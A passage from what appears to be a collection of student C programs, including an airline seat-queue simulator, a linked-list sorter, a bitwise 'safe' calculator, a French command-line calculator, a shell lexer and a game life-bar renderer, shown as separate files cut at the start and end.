number_of_seat_will_be_sold = demand_number;
else
number_of_seat_will_be_sold = available_seat_number;
return number_of_seat_will_be_sold;
}
bool is_sufficient_number_of_seat(int seat_number, int demand_number)
{
bool is_sufficient;
if (seat_number >= demand_number)
is_sufficient = true;
else
is_sufficient = false;
return is_sufficient;
}
void free_passenger(struct Passenger *passenger)
{
free(passenger->passenger_name);
free(passenger->passenger_class);
free(passenger->wanted_seat_class);
}
void free_priority_queue(struct PriorityQueue *priority_queue)
{
for (int i = 0; i < priority_queue->waiting_passenger_number; i++)
free_passenger(&(priority_queue->waiting_passengers[i]));
free(priority_queue->waiting_passengers);
free(priority_queue->que_type);
}
int main(int argc, char *argv[])
{
struct ParsedLine *parsed_lines = malloc(sizeof(struct ParsedLine));
int parsed_lines_size = 0;
read_and_parse_lines(&parsed_lines, &parsed_lines_size, argv[1]);
struct Flight *flights = malloc(sizeof(struct Flight));
int flight_num = 0;
// Running commands according to the parsed lines
FILE *fp;
fp = fopen(argv[2], "w");
for (int i = 0; i < parsed_lines_size; i++)
{
if (strcmp(parsed_lines[i].tokens[0], "addseat") == 0)
{
int index_of_flight = search_flight(parsed_lines[i].tokens[1], flights, flight_num);
if (index_of_flight == -1)
{
struct Flight new_flight = init_new_flight(parsed_lines[i].tokens[1]);
add_new_seats(&new_flight, parsed_lines[i].tokens[2], atoi(parsed_lines[i].tokens[3]));
flight_num++;
flights = realloc(flights, sizeof(struct Flight) * flight_num);
flights[flight_num - 1] = new_flight;
fprintf(fp, "%s %s %d %d %d\n", "addseats", new_flight.flight_name, new_flight.business_seat_number,
new_flight.economy_seat_number, new_flight.standard_seat_number);
}
else if (index_of_flight != -1 && !flights[index_of_flight].is_closed)
{
add_new_seats(&(flights[index_of_flight]), parsed_lines[i].tokens[2], atoi(parsed_lines[i].tokens[3]));
fprintf(fp, "%s %s %d %d %d\n", "addseats", flights[index_of_flight].flight_name, flights[index_of_flight].business_seat_number,
flights[index_of_flight].economy_seat_number, flights[index_of_flight].standard_seat_number);
}
}
else if (strcmp(parsed_lines[i].tokens[0], "enqueue") == 0)
{
int index_of_flight = search_flight(parsed_lines[i].tokens[1], flights, flight_num);
if (index_of_flight != -1 && !flights[index_of_flight].is_closed)
{
struct Passenger new_passenger;
if (parsed_lines[i].token_size == 5)
new_passenger = form_new_passenger(parsed_lines[i].tokens[3], parsed_lines[i].tokens[4]);
else
new_passenger = form_new_passenger(parsed_lines[i].tokens[3], "normal");
if (strcmp(parsed_lines[i].tokens[2], "business") == 0)
{
if (parsed_lines[i].token_size == 4 || (parsed_lines[i].token_size == 5 && strcmp(parsed_lines[i].tokens[4], "diplomat") == 0))
{
new_passenger.wanted_seat_class = strdup("business");
priority_que_enqueue(&(flights[index_of_flight].business_priority_queue), &new_passenger);
fprintf(fp, "%s %s %s %s %d\n", "queue", flights[index_of_flight].flight_name, new_passenger.passenger_name,
"business", flights[index_of_flight].business_priority_queue.waiting_passenger_number);
}
else
{
free(new_passenger.passenger_name);
free(new_passenger.passenger_class);
fprintf(fp, "error\n");
}
}
else if (strcmp(parsed_lines[i].tokens[2], "economy") == 0)
{
if (parsed_lines[i].token_size == 4 || (parsed_lines[i].token_size == 5 && strcmp(parsed_lines[i].tokens[4], "veteran") == 0))
{
new_passenger.wanted_seat_class = strdup("economy");
priority_que_enqueue(&(flights[index_of_flight].economy_priority_queue), &new_passenger);
fprintf(fp, "%s %s %s %s %d\n", "queue", flights[index_of_flight].flight_name, new_passenger.passenger_name,
"economy", flights[index_of_flight].economy_priority_queue.waiting_passenger_number);
}
else
{
free(new_passenger.passenger_name);
free(new_passenger.passenger_class);
fprintf(fp, "error\n");
}
}
else if (strcmp(parsed_lines[i].tokens[2], "standard") == 0)
{
if (parsed_lines[i].token_size == 4 || (parsed_lines[i].token_size == 5 && !(strcmp(parsed_lines[i].tokens[4], "diplomat") == 0 || strcmp(parsed_lines[i].tokens[4], "veteran") == 0)))
{
new_passenger.wanted_seat_class = strdup("standard");
priority_que_enqueue(&(flights[index_of_flight].standard_priority_queue), &new_passenger);
fprintf(fp, "%s %s %s %s %d\n", "queue", flights[index_of_flight].flight_name, new_passenger.passenger_name,
"standard", flights[index_of_flight].standard_priority_queue.waiting_passenger_number);
}
else
{
free(new_passenger.passenger_name);
free(new_passenger.passenger_class);
fprintf(fp, "error\n");
}
}
else
fprintf(fp, "error\n");
}
}
else if (strcmp(parsed_lines[i].tokens[0], "sell") == 0)
{
int index_of_flight = search_flight(parsed_lines[i].tokens[1], flights, flight_num);
if (index_of_flight != -1 && !flights[index_of_flight].is_closed)
{
int t = how_many_seat_can_be_sold(flights[index_of_flight].business_seat_number - flights[index_of_flight].solded_business_seat_number,
flights[index_of_flight].business_priority_queue.waiting_passenger_number);
for (int i = 0; i < t; i++)
{
transform_to_min_priority_que(flights[index_of_flight].business_priority_queue);
struct Passenger highest_priority_passenger = dequeue_highest_priority_from_priority_que(&(flights[index_of_flight].business_priority_queue));
sell_ticket(&(flights[index_of_flight].business_seats), &(flights[index_of_flight].solded_business_seat_number), highest_priority_passenger);
}
t = how_many_seat_can_be_sold(flights[index_of_flight].economy_seat_number - flights[index_of_flight].solded_economy_seat_number,
flights[index_of_flight].economy_priority_queue.waiting_passenger_number);
for (int i = 0; i < t; i++)
{
transform_to_min_priority_que(flights[index_of_flight].economy_priority_queue);
struct Passenger highest_priority_passenger = dequeue_highest_priority_from_priority_que(&(flights[index_of_flight].economy_priority_queue));
sell_ticket(&(flights[index_of_flight].economy_seats), &(flights[index_of_flight].solded_economy_seat_number), highest_priority_passenger);
}
t = how_many_seat_can_be_sold(flights[index_of_flight].standard_seat_number - flights[index_of_flight].solded_standard_seat_number,
flights[index_of_flight].standard_priority_queue.waiting_passenger_number);
for (int i = 0; i < t; i++)
{
transform_to_min_priority_que(flights[index_of_flight].standard_priority_queue);
struct Passenger highest_priority_passenger = dequeue_highest_priority_from_priority_que(&(flights[index_of_flight].standard_priority_queue));
sell_ticket(&(flights[index_of_flight].standard_seats), &(flights[index_of_flight].solded_standard_seat_number), highest_priority_passenger);
}
if (flights[index_of_flight].business_seat_number - flights[index_of_flight].solded_business_seat_number == 0)
{
t = how_many_seat_can_be_sold(flights[index_of_flight].standard_seat_number - flights[index_of_flight].solded_standard_seat_number,
flights[index_of_flight].business_priority_queue.waiting_passenger_number);
for (int i = 0; i < t; i++)
{
transform_to_min_priority_que(flights[index_of_flight].business_priority_queue);
struct Passenger highest_priority_passenger = dequeue_highest_priority_from_priority_que(&(flights[index_of_flight].business_priority_queue));
priority_que_enqueue(&(flights[index_of_flight].standard_priority_queue), &highest_priority_passenger);
}
}
t = how_many_seat_can_be_sold(flights[index_of_flight].standard_seat_number - flights[index_of_flight].solded_standard_seat_number,
flights[index_of_flight].standard_priority_queue.waiting_passenger_number);
for (int i = 0; i < t; i++)
{
transform_to_min_priority_que(flights[index_of_flight].standard_priority_queue);
struct Passenger highest_priority_passenger = dequeue_highest_priority_from_priority_que(&(flights[index_of_flight].standard_priority_queue));
sell_ticket(&(flights[index_of_flight].standard_seats), &(flights[index_of_flight].solded_standard_seat_number), highest_priority_passenger);
}
if (flights[index_of_flight].economy_seat_number - flights[index_of_flight].solded_economy_seat_number == 0)
{
t = how_many_seat_can_be_sold(flights[index_of_flight].standard_seat_number - flights[index_of_flight].solded_standard_seat_number,
flights[index_of_flight].economy_priority_queue.waiting_passenger_number);
for (int i = 0; i < t; i++)
{
transform_to_min_priority_que(flights[index_of_flight].economy_priority_queue);
struct Passenger highest_priority_passenger = dequeue_highest_priority_from_priority_que(&(flights[index_of_flight].economy_priority_queue));
priority_que_enqueue(&(flights[index_of_flight].standard_priority_queue), &highest_priority_passenger);
}
}
t = how_many_seat_can_be_sold(flights[index_of_flight].standard_seat_number - flights[index_of_flight].solded_standard_seat_number,
flights[index_of_flight].standard_priority_queue.waiting_passenger_number);
for (int i = 0; i < t; i++)
{
transform_to_min_priority_que(flights[index_of_flight].standard_priority_queue);
struct Passenger highest_priority_passenger = dequeue_highest_priority_from_priority_que(&(flights[index_of_flight].standard_priority_queue));
sell_ticket(&(flights[index_of_flight].standard_seats), &(flights[index_of_flight].solded_standard_seat_number), highest_priority_passenger);
}
fprintf(fp, "%s %s %d %d %d\n", "sold", flights[index_of_flight].flight_name, flights[index_of_flight].solded_business_seat_number,
flights[index_of_flight].solded_economy_seat_number, flights[index_of_flight].solded_standard_seat_number);
}
else
fprintf(fp, "error\n");
}
else if (strcmp(parsed_lines[i].tokens[0], "close") == 0)
{
int index_of_flight = search_flight(parsed_lines[i].tokens[1], flights, flight_num);
if (index_of_flight != -1)
{
flights[index_of_flight].is_closed = true;
int total_ticket_number = flights[index_of_flight].solded_business_seat_number + flights[index_of_flight].solded_economy_seat_number + flights[index_of_flight].solded_standard_seat_number;
int total_waiting_passenger_number = flights[index_of_flight].business_priority_queue.waiting_passenger_number + flights[index_of_flight].economy_priority_queue.waiting_passenger_number + flights[index_of_flight].standard_priority_queue.waiting_passenger_number;
fprintf(fp, "%s %s %d %d\n", "closed", flights[index_of_flight].flight_name, total_ticket_number, total_waiting_passenger_number);
for (int i = 0; i < flights[index_of_flight].business_priority_queue.waiting_passenger_number; i++)
fprintf(fp, "%s %s\n", "waiting", flights[index_of_flight].business_priority_queue.waiting_passengers[i].passenger_name);
for (int i = 0; i < flights[index_of_flight].economy_priority_queue.waiting_passenger_number; i++)
fprintf(fp, "%s %s\n", "waiting", flights[index_of_flight].economy_priority_queue.waiting_passengers[i].passenger_name);
for (int i = 0; i < flights[index_of_flight].standard_priority_queue.waiting_passenger_number; i++)
fprintf(fp, "%s %s\n", "waiting", flights[index_of_flight].standard_priority_queue.waiting_passengers[i].passenger_name);
}
}
else if (strcmp(parsed_lines[i].tokens[0], "report") == 0)
{
int index_of_flight = search_flight(parsed_lines[i].tokens[1], flights, flight_num);
if (index_of_flight != -1)
{
fprintf(fp, "%s %s\n", "report", flights[index_of_flight].flight_name);
fprintf(fp, "%s %d\n", "business", flights[index_of_flight].solded_business_seat_number);
for (int i = 0; i < flights[index_of_flight].solded_business_seat_number; i++)
fprintf(fp, "%s\n", flights[index_of_flight].business_seats[i].passenger_name);
fprintf(fp, "%s %d\n", "economy", flights[index_of_flight].solded_economy_seat_number);
for (int i = 0; i < flights[index_of_flight].solded_economy_seat_number; i++)
fprintf(fp, "%s\n", flights[index_of_flight].economy_seats[i].passenger_name);
fprintf(fp, "%s %d\n", "standard", flights[index_of_flight].solded_standard_seat_number);
for (int i = 0; i < flights[index_of_flight].solded_standard_seat_number; i++)
fprintf(fp, "%s\n", flights[index_of_flight].standard_seats[i].passenger_name);
fprintf(fp, "%s %s\n", "end of report", flights[index_of_flight].flight_name);
}
}
else if (strcmp(parsed_lines[i].tokens[0], "info") == 0)
{
bool is_will_be_break = false;
char *passenger_name = strdup(parsed_lines[i].tokens[1]);
for (int i = 0; i < flight_num; i++)
{
for (int j = 0; j < flights[i].solded_business_seat_number; j++)
{
if (strcmp(flights[i].business_seats[j].passenger_name, passenger_name) == 0)
{
fprintf(fp, "%s %s %s %s %s\n", "info", flights[i].business_seats[j].passenger_name, flights[i].flight_name, flights[i].business_seats[j].wanted_seat_class, "business");
is_will_be_break = true;
break;
}
}
if (is_will_be_break)
break;
for (int j = 0; j < flights[i].solded_economy_seat_number; j++)
{
if (strcmp(flights[i].economy_seats[j].passenger_name, passenger_name) == 0)
{
fprintf(fp, "%s %s %s %s %s\n", "info", flights[i].economy_seats[j].passenger_name, flights[i].flight_name, flights[i].economy_seats[j].wanted_seat_class, "economy");
is_will_be_break = true;
break;
}
}
if (is_will_be_break)
break;
for (int j = 0; j < flights[i].solded_standard_seat_number; j++)
{
if (strcmp(flights[i].standard_seats[j].passenger_name, passenger_name) == 0)
{
fprintf(fp, "%s %s %s %s %s\n", "info", flights[i].standard_seats[j].passenger_name, flights[i].flight_name, flights[i].standard_seats[j].wanted_seat_class, "standard");
is_will_be_break = true;
break;
}
}
if (is_will_be_break)
break;
for (int j = 0; j < flights[i].business_priority_queue.waiting_passenger_number; j++)
{
if (strcmp(flights[i].business_priority_queue.waiting_passengers[j].passenger_name, passenger_name) == 0)
{
fprintf(fp, "%s %s %s %s %s\n", "info", flights[i].business_priority_queue.waiting_passengers[j].passenger_name, flights[i].flight_name, flights[i].business_priority_queue.waiting_passengers[j].wanted_seat_class, "none");
is_will_be_break = true;
break;
}
}
if (is_will_be_break)
break;
for (int j = 0; j < flights[i].economy_priority_queue.waiting_passenger_number; j++)
{
if (strcmp(flights[i].economy_priority_queue.waiting_passengers[j].passenger_name, passenger_name) == 0)
{
fprintf(fp, "%s %s %s %s %s\n", "info", flights[i].economy_priority_queue.waiting_passengers[j].passenger_name, flights[i].flight_name, flights[i].economy_priority_queue.waiting_passengers[j].wanted_seat_class, "none");
is_will_be_break = true;
break;
}
}
if (is_will_be_break)
break;
for (int j = 0; j < flights[i].standard_priority_queue.waiting_passenger_number; j++)
{
if (strcmp(flights[i].standard_priority_queue.waiting_passengers[j].passenger_name, passenger_name) == 0)
{
fprintf(fp, "%s %s %s %s %s\n", "info", flights[i].standard_priority_queue.waiting_passengers[j].passenger_name, flights[i].flight_name, flights[i].standard_priority_queue.waiting_passengers[j].wanted_seat_class, "none");
is_will_be_break = true;
break;
}
}
if (is_will_be_break)
break;
}
if (!is_will_be_break)
fprintf(fp, "error\n");
free(passenger_name);
}
}
fclose(fp);
//free
for (int i = 0; i < flight_num; i++)
{
free(flights[i].flight_name);
free_priority_queue(&(flights[i].business_priority_queue));
free_priority_queue(&(flights[i].economy_priority_queue));
free_priority_queue(&(flights[i].standard_priority_queue));
for (int j = 0; j < flights[i].solded_business_seat_number; j++)
{
free_passenger(&(flights[i].business_seats[j]));
}
for (int j = 0; j < flights[i].solded_economy_seat_number; j++)
{
free_passenger(&(flights[i].economy_seats[j]));
}
for (int j = 0; j < flights[i].solded_standard_seat_number; j++)
{
free_passenger(&(flights[i].standard_seats[j]));
}
free(flights[i].business_seats);
free(flights[i].economy_seats);
free(flights[i].standard_seats);
}
free(flights);
for (int i = 0; i < parsed_lines_size; i++)
{
for (int j = 0; j < parsed_lines[i].token_size; j++)
free(parsed_lines[i].tokens[j]);
free(parsed_lines[i].tokens);
}
free(parsed_lines);
return 0;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
typedef struct stud
{
int item;
struct stud *next;
}student;
// CREATION OF NODE
student * creatnode(int data)
{
student *node=(student *)malloc(sizeof(student));
node->item=data;
node->next=NULL;
return node;
}
// INSERTION OF NODE
student * insertnode(student *Head,int data,int p)
{
int i=1;
student *node=(student *)malloc(sizeof(student)), *c;
node=creatnode(data);
c=Head;
if(Head==NULL)
{
Head=node;
c=node;
return Head;
}
else if(p==1) // insert at the position of Head;
{
node->next=Head;
Head=node;
return Head;
}
else
{
while(i<p-1 && c!=NULL) //
{
c=c->next;
i++;
}
if(c==NULL || i>p-1)
printf("insertion not possible as position is out of limit");
else
{
node->next=c->next; // insert between two node(given position)
c->next=node;
}
return Head;
}
}
// TRAVERSAL OF NODES
void traversal(student *Head)
{
student *c;
if(Head==NULL)
{
printf("there is no nodes\n");
return;
}
else
{
c=Head;
while(c!=NULL)
{
printf("%d\n",c->item);
c=c->next;
}
}
}
int main()
{
student *Head=NULL,*node=NULL,*c=NULL,*PRV=0;
int n,data,i=0,p;
printf("how many nodes want to insert");
scanf("%d",&n);
printf("enter the elements for %d-times:\n",n);
while(i<n)
{
c=Head;p=1;
scanf("%d",&data);
while(Head!=NULL && c!=NULL)
{
if(data< c->item)
{
break;
}
else if(data >= c->item)
{
c=c->next;
p++;
}
}
Head=insertnode(Head,data,p);
i++;
}
printf("after sorting nodes are\n");
traversal(Head);
}
|
C
|
/*
Dominic Taraska
Tug76525@temple.edu
Proper input:
1. operator(ex: '+', '-', '/', etc...)
2. space
3. number
if number is negative you put '-' immediately before the number after the space.
Examples of proper input:
+ 2
* 5
+ -654
% 65
res is automatically used as first input, so if you want to do 5 * 4, first you have to add 5 to res (res starts off at 0) and then multiple res by 4.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Prototypes
int _add(int a, int b);
int add(int a, int b);
int sub(int a, int b);
int neg(int a);
int mul(int a, int b);
int div1(int a, int b);
int mod(int a, int b);
int pow1(int a, int b);
int convert(char *input);
void menu();
// Main
int main(int argc, char *argv[]){
int res = 0; // Cumulative result - running total
int n = 0; // For number conversion from input string
char input[50]; // Input string
input[0] = '\0'; // Put null in operator char so loop works
// Write code here to test your functions
// Uncomment code below when done
// Loop until quit is selected
while(input[0] != 'q' && input[0] != 'Q'){
// Show menu choices
menu();
// Print prompt with running total
printf("\nres = %d > ", res);
// Get input string
gets(input);
// Clear screen
//system("cls");
// Switch on operator char input[0]
switch (input[0]){
case '+':
res = add(res, convert(input));
break;
case '-':
res = sub(res, convert(input));
break;
case '*':
res = mul(res, convert(input));
break;
case '/':
res = div1(res, convert(input));
break;
case '%':
res = mod(res, convert(input));
break;
case '~':
res = neg(res);
break;
case '^':
res = pow1(res, convert(input));
break;
case 'c':
case 'C':
res = 0;
break;
case 'q':
case 'Q':
printf("Good-bye!\n");
break;
default:
printf("Enter a valid operator and operand\n");
}
}
return 0;
}
// Show menu choices
void menu(){
printf("\nSafe Integer Calculator\n");
printf("+ x to add\n");
printf("- x to subtract\n");
printf("* x to multiply\n");
printf("/ x to divide\n");
printf("%% x to modulus\n");
printf("~ x to negate\n");
printf("^ x to raise by power x\n");
printf("c x to clear result\n");
printf("q x to quit\n");
return;
}
/*
This function should only use bitwise operators and
relational operators
*/
// Add operation using only bitwise operators
int _add(int a, int b){
// Loop until b is zero
// Find carry 1 bits - a AND b assign to carry
// Find non carry 1 bits - a XOR b assign to a
// Multiply carry by 2 by shift and assign to b
// Call to _add() a and b and assign to result
while( b != 0 ){
int carry = a&b;
a = a^b;
b = carry << 1;
}
return a;
}
/*
Safe add() should call _add() and check for both
overflow and underflow errors.
*/
// Safe add operation
int add(int a, int b){
// Declare int for result
int res = 0;
// Call to _add() a and b and assign to result
res = _add(a, b);
// Check for overflow - look at page 90 in book
if(a >= 0 && b >= 0 && res < 0){
printf("Overflow detected.");
}
// Check for underflow - look at page 90 in book
else{
if(a < 0 && b < 0 && res >= 0){
printf("underflow detected.");
}
else{
}
}
return res;
}
/*
Negate a by using a bitwise operator and safe add().
Look on page 95 in book.
Replace the zero with an expression that solves this.
*/
// Define negation with ~ and safe add
int neg(int a){
// Return negation of a and add 1
return add((~a), 1); // Replace 0 with code
}
/*
Remember that subtraction is the same as addition
if you negate one of the operands.
Replace the zero with an expression that solves this.
*/
// Define safe subtract by safe add - negate b
int sub(int a, int b){
return (a+neg(b)); // Replace 0 with code
}
/*
Safe mul() uses an iterative call to safe add()
to calculate a product. Remember that
5 x 4 = 5 + 5 + 5 + 5 = 20
*/
// Define safe multiply by calling safe add b times
int mul(int a, int b){
// Declare and initialize cumulative result
int res = 0;
// Declare sign of product - initially assume positive
int sign = 1;
// For efficiency - smaller number should be multiplier
int multi = 0;
int adder = 0;
if (b<0){
b = neg(b);
sign = neg(sign);
}
if (a<0){
a = neg(a);
sign = neg(sign);
}
if(a <= b){
multi = a;
adder = b;
}
else{
multi = b;
adder = a;
}
for(; multi > 0; multi--){
// Absolute value of a and flip sign
// Absolute value of b and flip sign
// Accumulate result
res = add(res, adder);
}
// Set sign to output
if(sign < 0){
res = neg(res);
}
return res;
}
/*
Safe div() repeatedly subtracts b from a, counting the
number of subtractions until a < b, which it returns.
*/
// Define safe divide by calling safe subtract b times
int div1(int a, int b){
// Declare int to count how many times can b be subtracted from a
int cnt = 0;
// Declare sign
int sign = 1;
if (b<0){
b = neg(b);
sign = neg(sign);
}
if (a<0){
a = neg(a);
sign = neg(sign);
}
// Absolute value of a and flip sign
// Absolute value of b and flip sign
// loop to calculate how many times can b be subtracted from a
for(cnt; a >= b; cnt++){
a = sub(a, b);
}
// Set sign to output
if(sign < 0){
cnt = neg(cnt);
}
return cnt;
}
/*
Safe mod() repeatedly subtracts b from a until a < b, returning a.
*/
// Define safe modulus by calling safe subtract
int mod(int a, int b){
// Absolute value of a
if (a < 0){
a = neg(a);
}
// Absolute value of b
if (b < 0){
b = neg(b);
}
// Find remainder by repeated subtraction a - b
for( ; a >= b; a = sub(a, b)){
}
return a;
}
/*
Safe pow() calculates as the math pow function but
only uses the safe operations.
res = n^exp
Loop until exp is zero
res = res * n
exp = exp - 1
Remember the special case for n^0
*/
// Define safe pow by calling safe multiply exp times
int pow1(int n, int exp){
// Declare int for result of n^exp
if(exp == 0){
return 1;
}
int res = n;
// Loop and multiply to calculate n^exp
for(exp; exp > 1; exp--){
res = mul(res, n);
}
return res;
}
/*
This function extracts the integer value from the input string.
If input = "+ -123", res = -123.
If input = "* 987654", res = 987654.
The best way to solve complicated problems is to work them out
on paper first.
*/
// Extract the integer from the input string and convert to int
int convert(char *input){
// Declare int for result extracted from input
int res = 0;
// Declare int for sign of result
int sign = 1;
// Declare two iterators
int i = 2;
int j;
int multi = 1;
// Declare a buffer for numeric chars
char buffer[50];
// Set error to zero - no error found yet
int error = 0;
// Check for space in element 1
if(input[1] != ' '){
error++;
printf("Please include a space after operator \n");
exit(1);
}
// Check for negative integer at element 2
if(input[2] == '-'){
sign *= -1;
i = 3;
}
else{
i = 2;
}
// Loop to copy all numeric chars to buffer
// i is iterator for input string and should start at first numeric char
// j is iterator for buffer where numeric chars are copied
// This must test for chars between 0 and 9
for(j = 0 ; i <= strlen(input)-1; j++, i++){
if(input[i] < 48 || input[i] > 57){
error++;
printf("Please only use numeric characters\n");
exit(1);
}
buffer[j] = input[i];
}
// i gets position of last numeric char in buffer
// j is now used for pow function - start at zero
j -= 1;
// Construct integer from buffer using pow j increases and i decreases
for(i = 0; j >= 0; j--){
if(buffer[j] >= 48 && buffer[j] <= 57){
res += (buffer[j] - '0')*multi;
}
else{
printf("\n error \n");
error++;
}
multi *= 10;
}
// Set sign for output
res *= sign;
return res;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "string.h"
#include "addition.h"
#include "soustration.h"
#include "multi.h"
#include "div.h"
int main(int argc ,char **argv ,char **enpv)
{
int operations=0;
/*printf("UNE ADDITION\n");
printf("UNE SOUSTRATION\n");
printf("UNE MULTIPLICATION\n");
printf("UNE DIVISION\n");
printf("VOTRE CHOIX\n");*/
//scanf("%d",&choix);
if(strcmp((argv[2]),"+")==0)
{
operations=0;
operations = addi(atoi(argv[1]),atoi(argv[3]));
printf("la somme est %d\n",operations);
}
else if(strcmp((argv[2]),"-")==0)
{
operations=0;
operations = soustra(atoi(argv[1]),atoi(argv[3]));
printf("la somme est %d\n",operations);
}
else if(strcmp((argv[2]),"x")==0)
{
operations=0;
operations= multip(atoi(argv[1]),atoi(argv[3]));
printf("la somme est %d\n",operations);
}
else if(strcmp((argv[2]),"/")==0)
{
operations=0;
operations = divi(atoi(argv[1]),atoi(argv[3]));
printf("la somme est %d\n",operations);
}
else
{
printf("pas d'operations");
}
printf("------------------------------------------------------------------------------------------\n");
/*do
{
else if(choix==2)
{
int soustration = soustra(atoi(argv[1]),atoi(argv[2]));
printf("la somme est %d\n",soustration);
}
else if(choix==3)
{
int multiplication = multip(atoi(argv[1]),atoi(argv[2]));
printf("la somme est %d\n",multiplication);
}
else if(choix==4)
{
int division = divi(atoi(argv[1]),atoi(argv[2]));
printf("la somme est %d\n",division);
}
printf("VOULEZ-VOUS FAIRE UNE AUTRE OPERATION\n");
scanf("%d",&choice);
} while (choice==1);*/
return 0;
}
|
C
|
/**
** \file lexer/lexer.c
** \brief Dtermine each tokens and each options
** \date 29 novembre 2018
**
**/
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <fnmatch.h>
#include <getopt.h>
#include <glob.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <readline/history.h>
#include <readline/readline.h>
#include "../include/shell.h"
#include "../parser/include/lexer_struct.h"
#include "../parser/include/my_tree.h"
#include "../parser/include/rule.h"
#include "../print_ast/include/print_ast.h"
struct PS *ps;
/**
** \brief Check if the str is a io_number
** \param str str to ba analyse
** \return An integer. 0 is not an ionumber and 1 if it is one
**/
int is_ionumber(char *str)
{
int i = 0;
for (; str[i]; ++i)
{
if (!(str[i] >= '0' && str[i] <= '9'))
break;
}
return (i && (str[i] == '<' || str[i] == '>'));
}
/**
** \brief Add a token to the end of the chain list
** \param token the full chain list of tokens
** \param str the string to be put at the end of the chain list
**/
void add_token(struct Token **token, char *str)
{
char *grammar[5][20] = {{"SEMICOLON", ";", "&", "\0"},
{"PARENTHESE", "(", ")", "\0"}, {"CURLY", "{", "}", "\0"},
{"OPERATOR", "&&", "||", ";;", "<<", ">>", "<&", ">&", "<>", "<<-",
">|", "|", ">", "<", "\0"},
{"NEW_LINE", "\n", "\0"}};
struct Token *next = malloc(sizeof(struct Token));
next->name = NULL;
for (int i = 0; i < 5; i++)
{
for (int j = 0; grammar[i][j][0] != '\0'; j++)
{
if (strcmp(grammar[i][j], str) == 0)
{
char *cpy = malloc(4096);
strcpy(cpy, str);
next->name = cpy;
next->type = grammar[i][0];
next->next = NULL;
}
}
}
if (is_ionumber(str))
{
char *str1 = malloc(4096);
char *str2 = malloc(4096);
char *str3 = malloc(4096);
sscanf(str, "%[^'>','<']%[^A-Za-z0-9]%s", str1, str2, str3);
str1[strlen(str1)] = '\0';
str1[strlen(str2)] = '\0';
next->name = str1;
next->type = "IO_NUMBER";
next->next = NULL;
add_token(&next, str2);
if (str3 && str3[0] != '\0' && strncmp(str3, " ", 1) != 0)
add_token(&next, str3);
free(str3);
free(str2);
}
if (!next->name)
{
char *cpy = malloc(4096);
strcpy(cpy, str);
next->name = cpy;
next->type = "WORD";
next->next = NULL;
}
if (!*token)
{
*token = next;
return;
}
struct Token *copy = *token;
while (copy->next)
{
copy = copy->next;
}
copy->next = next;
}
int option_shopt(char **argv)
{
int i = 1;
int x = 1;
while (
argv[i] && argv[i + 1] && argv[i][0] != '\0' && argv[i + 1][0] != '\0')
{
if (argv[i][0] == '+')
{
set_value(argv[i + 1], "1");
x += 2;
}
i = i + 1;
}
return x;
}
/**
** \brief Parse all the user input for the options
** \param token the full chain list of tokens
** \param argv the list of argument given by the user
** \param argc the number of argument given by the user
** \return the correct chain list without the options given by the user and
*also init the struct ps.
**/
struct Token *parse_path(struct Token *token, char **argv, long argc)
{
int c = 0;
int i = option_shopt(argv);
static struct option long_options[] = {
{"version", no_argument, 0, 3},
{"ver", no_argument, 0, 3},
{"norc", no_argument, 0, 4},
{"ast-print", no_argument, 0, 1},
{"type-print", no_argument, 0, 2},
{"name-print", no_argument, 0, 6},
{0, 0, 0, 0},
};
int option_index = 0;
optind = i;
setenv("POSIXLY_CORRECT", "1", 0);
while ((c = getopt_long(argc, argv, "c:0:", long_options, &option_index))
!= -1)
{
if (c == 'c')
{
token = create_token(token, optarg);
set_value("--exit", "1");
}
else if (c == '0')
{
set_value(optarg, "0");
i++;
}
else if (c == 1)
set_value("--ast-print", "1");
else if (c == 6)
set_value("--name-print", "1");
else if (c == 4)
reset_file();
else if (c == 3)
set_value("version", "1");
else if (c == 2)
set_value("--type-print", "1");
else
fprintf(stderr, "[GNU long options] [options] [file]\n");
i++;
}
if (get_value("--exit") == NULL && (argv[argc - 1] || !isatty(0)))
{
token = NULL;
if (isatty(0) && i <= argc - 1)
{
token = read_file(argv[argc - 1], token);
set_value("--exit", "1");
}
else if (!isatty(0))
token = read_file(NULL, token);
}
return token;
}
/**
** \brief This function build the AST tree and execute it.Moreover, create a
*dot file output.gv if the option are given by the user.
** \param t the full chain list of tokens with their types
** \return the chain list of token
**/
struct Token *lexer(struct Token *t)
{
while (t != NULL)
{
struct AST *ast = input(&t);
if (ast != NULL)
{
struct fds fd = {.in = 0, .out = 1, .err = 2};
ast->foo(ast, fd);
char *print = get_value("--ast-print");
if (print && strcmp(print, "1") == 0)
create_dot(ast, "output.gv");
AST_destroy(ast);
}
while (t && (strcmp("\n", t->name) == 0))
t = t->next;
}
return t;
}
/**
** \brief Free the chain list of token
** \param the chain list of token.
**/
void DestroyToken(struct Token *t)
{
if (t != NULL)
DestroyToken(t->next);
if (t && t->name)
{
free(t->name);
}
free(t);
}
/**
** \brief Initializie a new struct of PS
** \return the new struct PS inititalizied
**/
struct PS *get_ps(void)
{
struct PS *p = malloc(sizeof(struct PS));
p->name = NULL;
p->value = NULL;
return p;
}
/**
** \brief Inittialize the begin of the PS struct
**/
void init_ps(void)
{
ps = malloc(sizeof(struct PS));
ps->name = NULL;
ps->value = NULL;
}
|
C
|
/*
** EPITECH PROJECT, 2020
** display life bar
** File description:
** display the life bar
*/
#include "../include/my.h"
void display_green_bar(Index_t *index, enemies_list_t *current)
{
sfVector2f pos;
sfVector2f scale;
scale.x = 1;
scale.y = 1;
pos.x = current->coordinates.x - 16;
pos.y = current->coordinates.y - 35;
if (current->type == 1)
scale.x = (float)current->life / LIGHT_HEALTH;
if (current->type == 2)
scale.x = (float)current->life / MEDIUM_HEALTH;
if (current->type == 3)
scale.x = (float)current->life / HEAVY_HEALTH;
sfSprite_setScale(index->lifebar.green_spr, scale);
sfSprite_setPosition(index->lifebar.green_spr, pos);
sfRenderWindow_drawSprite(index->window, index->lifebar.green_spr, NULL);
}
void display_red_bar(Index_t *index, enemies_list_t *current)
{
sfVector2f pos;
pos.x = current->coordinates.x - 16;
pos.y = current->coordinates.y - 35;
sfSprite_setPosition(index->lifebar.red_spr, pos);
sfRenderWindow_drawSprite(index->window, index->lifebar.red_spr, NULL);
}
void display_life_bar(Index_t *index, enemies_list_t *current)
{
